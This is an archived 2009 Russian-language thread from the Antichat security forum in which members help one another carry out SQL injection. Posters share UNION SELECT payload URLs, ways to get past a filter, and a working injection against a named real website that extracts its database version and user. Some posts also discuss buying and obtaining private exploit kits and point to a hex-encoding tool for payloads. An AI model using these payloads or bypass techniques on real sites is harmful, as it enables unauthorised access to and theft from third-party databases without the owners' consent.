ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
09.10.2009, 15:39
|
|
Новичок
Регистрация: 14.09.2009
Сообщений: 8
Провел на форуме:
21921
Репутация:
4
|
|
Сообщение от smtgr
Доброго времени.
Нашел вроде SQL-inj:
http://site.net/index.php?id=777' - выдает пустую страницу
http://site.net/index.php?id=777+order+by+1/* - отображает корректоно
http://site.net/index.php?id=777+order+by+10/*-снова пусто
Подобрал, 3 столбца. Набираю:
http://site.net /index.php?id=777+and+1=2+union+select+1,2,3/* - вывод отличен от всех предидущих (Forbidden...blablabla).
Похоже на фильтрацию. Какие варианты есть чтобы обойти?
P.s. Сорри если подобный вопрос уже был. Топик очень большой - не прочел еще все
Пробуй вот так
http://site.net/index.php?id=777+union+select+1,2,3/* должно быть корректно, затем подставь -777 и ищи вывод
зачем тебе and+1=2 ?!?!
|
|
|
09.10.2009, 17:34
|
|
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
Провел на форуме:
950638
Репутация:
256
|
|
http://www.mibf.ru/index.php?id=23'
Собственно вопрос, как добиться вывода в этой скуле...
|
|
|
|
09.10.2009, 17:42
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514
Репутация:
3338
|
|
там вообще прикол:
Код:
http://www.mibf.ru/index.php?id=-23+or+1=1
|
|
|
|
09.10.2009, 17:46
|
|
Участник форума
Регистрация: 16.02.2009
Сообщений: 191
Провел на форуме:
879928
Репутация:
438
|
|
http://www.mibf.ru/index.php?id=23+union+select+null,null,null,null,n ull,null,null,0x73716C,null,null+limit+1,1+--+
редиректит на урл в котором вывод
Код:
http://www.mibf.ru/index.php?id=999999+union+select+null,null,null,null,null,null,null,concat_ws(0x3a,version(),user()),null,null+--+
Последний раз редактировалось Dyxxx; 09.10.2009 в 17:52..
|
|
|
|
09.10.2009, 17:48
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696
Репутация:
2221
|
|
Сообщение от DrAssault
Прив связки не так то и сложно достать...
Миллионер? 
Приватные связки, неплохо стоят, но если делается что то "шикарное", то деньги можно достать.
|
|
|
|
09.10.2009, 17:55
|
|
Познающий
Регистрация: 21.01.2009
Сообщений: 98
Провел на форуме:
227123
Репутация:
122
|
|
Дайте пожалуйста ссыль на онлайн hex редактор, гдето потерял, пол дня ищю....пожалуйста
|
|
|
|
09.10.2009, 17:59
|
|
Banned
Регистрация: 29.09.2007
Сообщений: 512
Провел на форуме:
4038468
Репутация:
1224
|
|
isfuck.me/?tools=sql
ascii encode hex and char
|
|
|
|
09.10.2009, 18:01
|
|
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
Провел на форуме:
950638
Репутация:
256
|
|
Сообщение от Ctacok
Миллионер?
Приватные связки, неплохо стоят, но если делается что то "шикарное", то деньги можно достать. Приват льют на право и на лево и при хороших знакомствах у тебя будет все, что необходимо + файлообменники (очень уж часто не ставят пароли на архивы  )
2Dyxxx, спс, но уже разобрался...
|
|
|
|
09.10.2009, 18:04
|
|
Banned
Регистрация: 29.09.2007
Сообщений: 512
Провел на форуме:
4038468
Репутация:
1224
|
|
Сообщение от DrAssault
Приват льют на право и на лево и при хороших знакомствах у тебя будет все, что необходимо + файлообменники (очень уж часто не ставят пароли на архивы )
2Dyxxx, спс, но уже разобрался... хорошую связку ты даже не купишь! а ты говроишь найти на файлообменике, дураков в этом бизе нет
|
|
|
|
09.10.2009, 18:05
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696
Репутация:
2221
|
|
Сообщение от DrAssault
Приват льют на право и на лево и при хороших знакомствах у тебя будет все, что необходимо + файлообменники (очень уж часто не ставят пароли на архивы )
2Dyxxx, спс, но уже разобрался...
Ну вот это возможно
Дайте пожалуйста ссыль на онлайн hex редактор, гдето потерял, пол дня ищю....пожалуйста
http://www.softportal.com/software-948-winhex.html
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
